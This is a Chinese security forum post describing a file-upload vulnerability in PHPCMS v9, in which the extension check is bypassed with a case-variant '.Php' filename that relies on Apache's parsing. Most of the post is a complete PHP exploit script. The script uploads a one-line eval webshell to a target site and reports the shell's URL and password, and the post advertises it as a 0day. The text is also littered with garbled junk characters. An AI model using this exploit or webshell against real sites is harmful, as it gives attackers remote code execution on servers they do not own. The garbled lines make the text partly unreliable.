找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2073|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行) D3 I% Y1 [" {& g# m2 y2 b( s6 k, ]

. `0 y4 t2 P' h6 h" d9 V1 j简要描述:" Q' j  S: }5 A
! l+ x! J1 B$ l# T- J+ u& ?9 O+ o
phpcms v9 getshell (apache)% _2 p. U$ t# u! [" r' L; L3 l
详细说明:
! x$ F0 v/ t" ~- A3 Q. s' W( L5 _( p8 q% d9 t& X2 x8 v
漏洞文件:phpcms\modules\attachment\attachments.php
/ f4 D5 V& z7 ^$ J7 ]0 z7 n5 O; ?, k1 j
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
5 ]' L1 c( }" i后缀检测:phpcms\modules\attachment\functions\global.func.php* z' j4 B8 v6 m  D2 h- n  U

! C& i4 u" p2 G* W4 |0 c
, M* Y4 N0 u' W, h/ t- U2 y( A& E- q! i4 i; z6 P( Z8 }
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
7 H" }2 w( S) g5 g1 r9 {, F
& q5 O, p! c) @8 n' F2 W/ ]8 f1 s关键函数:
, X( t1 w% v/ |1 \9 P- U8 P  j4 ?, M- L7 X
7 o, a6 H, P7 c
( h* B2 e2 a( M$ ^0 U: q) n8 G7 ]
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  ; K' [/ u9 y, v( {+ G0 n
" A* @1 H( V/ n$ q. j6 d+ b
  Fileext函数是对文件后缀名的提取。! Y. Z& ~! K8 b- M
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php$ i& k  G, ~2 |) q4 d! e
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。% k) [$ l( D! O! G3 ^+ r0 }
我们回到public function crop_upload() 函数中* G) a3 e; @+ _# L- x
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
  J/ _- a- Z9 q, ?# d在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
7 P( m% }3 q* _6 C) A这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
4 c6 p) m) s2 X! [# J( G经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
; v2 V4 X3 O  Y4 L0 M( F0 L最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。0 `7 m5 P: `' Y  A" O% f: u) l1 d
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。. k! u7 R& |4 G& h& u! d# B% Z% v" Y
漏洞证明:
$ q6 P$ R8 Y9 d/ R- z: ~
# w. I6 J, p1 M" [exp:* I+ H$ Q9 L# W

- r9 L! F$ C- h+ G  I% l- }' X% c<?php
, |2 b. _2 p$ z6 i; u% B1 P7 qerror_reporting(E_ERROR);5 z3 f7 [/ H  G1 k8 ?
set_time_limit(0);" ^& H& W, E' O1 i
$pass="ln";
8 ~2 ]6 z1 j( ]: I( O! ~/ ?$ Sprint_r('" Q, T7 C6 P. A, f
+---------------------------------------------------------------------------+
% L& e9 k% a6 G8 N- MPHPCms V9 GETSHELL 0DAY 4 V' O1 u5 F% m7 E
code by L.N.
4 x5 C' b7 r3 U0 p7 @6 Y$ G6 a! O; c; p1 O1 Z, G! }4 Q3 m4 _
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
  q3 W  u5 W# |( v. j+---------------------------------------------------------------------------+5 ?9 `0 a& E& ]
');
' |( E( L" l$ O, P  y2 n1 P1 Fif ($argc < 2) {
  ?4 ~! I3 e+ ?7 iprint_r('
2 Q: H6 r$ |( Y0 [+---------------------------------------------------------------------------+9 ]8 a& ~5 ]/ R$ ~- F1 w+ T+ w- v5 j" M" @
Usage: php '.$argv[0].' url path
7 ?5 p6 X! e# x: D3 K& g
  f9 A; ~( ]# h2 {. C' \0 p, ]' jExample:3 ^- P3 g1 B; s# J( E+ W4 L# _
1.php '.$argv[0].' lanu.sinaapp.com0 O8 Y  S2 p* q
2.php '.$argv[0].' lanu.sinaapp.com /phpcms( v- ^+ z) M3 s( z; X9 b
+---------------------------------------------------------------------------+
" v* P0 c. a, \. g+ ]- m/ B');
( Z! J/ t/ G  t! ~exit;
6 S% p4 j6 ~6 D5 X& N}
/ Y  m2 E. K3 e. C+ n( E7 e1 Z, l) ^- d: V4 C# H4 {
$url = $argv[1];- [+ n$ `; O0 o" i4 V
$path = $argv[2];/ c% G) Z0 c4 r' d# D/ b: B
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
1 Y- H& X0 K+ c$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
8 q; a- `& I7 Gif($ret=Create_dir($url,$path)), U; V' ]1 c( P4 A+ ^0 d9 W' d
{
# U6 ?0 C$ }. p2 U% Y" k//echo $ret;2 Y  e( G6 N$ @" [7 J" t
$pattern = "|Server:[^,]+?|U";
2 S5 e+ C/ ^3 O6 C+ qpreg_match_all($pattern, $ret, $matches);
: R$ N9 h' k( {$ R6 S8 _! Aif($matches[0][0])
" e! S0 I6 l" H: C* \4 ~4 P{% F" f$ ^+ {' }! X) ^" |6 J5 o
if(strpos($matches[0][0],'Apache') == false)2 ^6 @2 B6 X; P+ \
{# @9 G; }/ T5 V- h4 M! b# H4 w3 @
echo "\n亲!此网站不是apache的网站。\n";exit;& G- O, Z4 O7 O& I
}/ ?$ W3 w# D7 j. }
}
" ~" n/ j' K; l5 T9 Q. ?  j$ret = GetShell($url,$phpshell,$path,$file);+ m0 ^7 ?* W; s- k0 e6 b3 k& [
$pattern = "|http:\/\/[^,]+?\.,?|U";
" ]% w: r% }# W' ~  U7 p. Apreg_match_all($pattern, $ret, $matches);& g  H: i8 h; ~/ v# \
if($matches[0][0])" C( R# V! e2 \9 n: I- i1 K% ]
{1 f0 h( _: l# ^9 w4 x! v' ~% @, u
echo "\n".'密码为: '.$pass."\n";
% O, b" ^, z& B% wecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;: _+ M1 m$ C5 A" s
}2 S$ X  U' g' J9 G
else3 D  z& _" G& N3 ?) i# d8 B
{
+ k( J. d( Y) f, z$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
, d5 g: ^$ L. S! e) spreg_match_all($pattern, $ret, $matches);5 [0 m# }, r# N. A6 d
if($matches[0][0])# W0 ~6 s5 x5 V- Q! ~
{
& x/ e  y/ V6 o0 B" L, L. |echo "\n".'密码为: '.$pass."\n";! z7 [. ?) T$ e/ [7 e) y
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;% t1 P$ F; D8 ~. ?9 L
}
+ Y% C. D% g* S, f- c* ^else
3 e9 i% K' z$ [5 ~/ r% K" p{; |6 ~0 q. f  ]) ^4 D
echo "\r\n没得到!\n";exit;
$ V% D  T& v1 l' g; j3 f}4 O" h; y/ }+ R+ c+ C0 [' k& y
}
, X4 v- D! ~/ Z! k}: D" Y0 Y5 L, H! C; W" W

* R: ~% ]8 |! O1 K2 ^* Q: Rfunction GetShell($url,$shell,$path,$js)
4 `4 \' Q. h  |0 `$ H{
4 a0 h' X6 A. P7 k6 m& ^  X% G$content =$shell;
+ w7 [! w% d2 {$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
3 w/ [8 ]2 j- V. Q" e. o9 @% ~% I$data .= "Host: ".$url."\r\n";
9 l% J  F( N) }! _6 }0 A( o" ~$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";) x- d  m  G) W, R  _$ K# q
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";2 _, O4 G0 P& y$ {$ K5 ^: L
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";, x0 l7 S5 |  \5 u4 K5 k
$data .= "Connection: close\r\n";
' j/ R+ D4 I) y' u2 k! y; E1 D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( f8 j: s, y) D$data .= $content."\r\n";- ~( `2 c  g  Z# d) r2 E# [, Q1 M
$ock=fsockopen($url,80);2 d" \, x. [' Z2 ]
if (!$ock)8 c6 M1 [0 u0 T' N% B- K7 F
{* M9 F$ \- F7 Z( ^( i7 x' X, }! m
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
+ M, X* H3 [  c, P& O}
' v1 u% v( E* c4 Felse
4 L- n3 Q/ p+ e# Y7 F5 D$ f$ N{7 F1 ~0 B/ x% O  Q; s- w
fwrite($ock,$data);/ [, P1 R* M$ d% I- ^
$resp = '';3 f7 O1 Q, N+ U7 H* G
while (!feof($ock))
) U9 v% ]/ z8 i3 R{1 `) G* r, V1 C! B
$resp.=fread($ock, 1024);. ]; |( F1 a7 E
}
7 e: ~, C, j* vreturn $resp;
* H0 [4 F( k/ s& R* \5 I! U}' k. p, }1 @' m0 X7 t( v/ @
}+ _& ~1 Y2 F2 u6 i/ P; v

* d- a7 T, R1 p: H: S7 u$ r- c1 Xfunction Create_dir($url,$path='')/ ]; W/ C7 {5 h/ s/ [( J
{
: ~- L  a+ [' {/ `$content ='I love you';
* p2 J. w% p8 r$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";- h! U! [3 o1 u$ D
$data .= "Host: ".$url."\r\n";, h2 w5 }4 i( B4 e" c
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( L" L2 W( R: z: |$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 k4 q4 {+ e( j% q7 d1 V$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$ y: D1 f* n# R1 d$data .= "Connection: close\r\n";
* j. {! [$ ]' J" f& C. B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" n5 F! c0 x. G- u- f# u
$data .= $content."\r\n";
5 u8 d; C, z6 C! r5 J# U  \; L$ock=fsockopen($url,80);
7 H2 `8 ~: c, P1 cif (!$ock)* l$ t5 B! ^0 q) ?8 D/ V/ V
{  o" S4 j9 Y: e! K( q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
/ |0 x" W3 H- G  F2 o}
# _2 e* J. r/ i3 u1 n  j' I3 m( Jfwrite($ock,$data);
. _/ D0 g6 H1 N4 U  [$resp = '';
9 [: ]; @3 ^/ Lwhile (!feof($ock))4 b$ p. l; N! ~( o# L+ ]
{$ h$ k( G  a9 H$ Q. P, s6 |# N
$resp.=fread($ock, 1024);
" q: B( u7 y2 V3 Z9 x7 f( Q}
1 n9 p- h+ i6 z" y( z% s. X! A3 zreturn $resp;
; w" v* `. x: {}
% c; [+ e; ]! _1 |5 w?> 9 x0 ]0 F, O* J! {* B8 y+ U
0 C* v# G* q; w( x/ }& |; ?# E
修复方案:
9 G) f; a5 @7 q4 e0 X/ \! G; Y. M/ E& g  p8 r9 r3 i
过滤过滤再过滤
- r) O+ a2 V7 @) i/ `) T
  ~7 D( L* [8 A8 O1 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表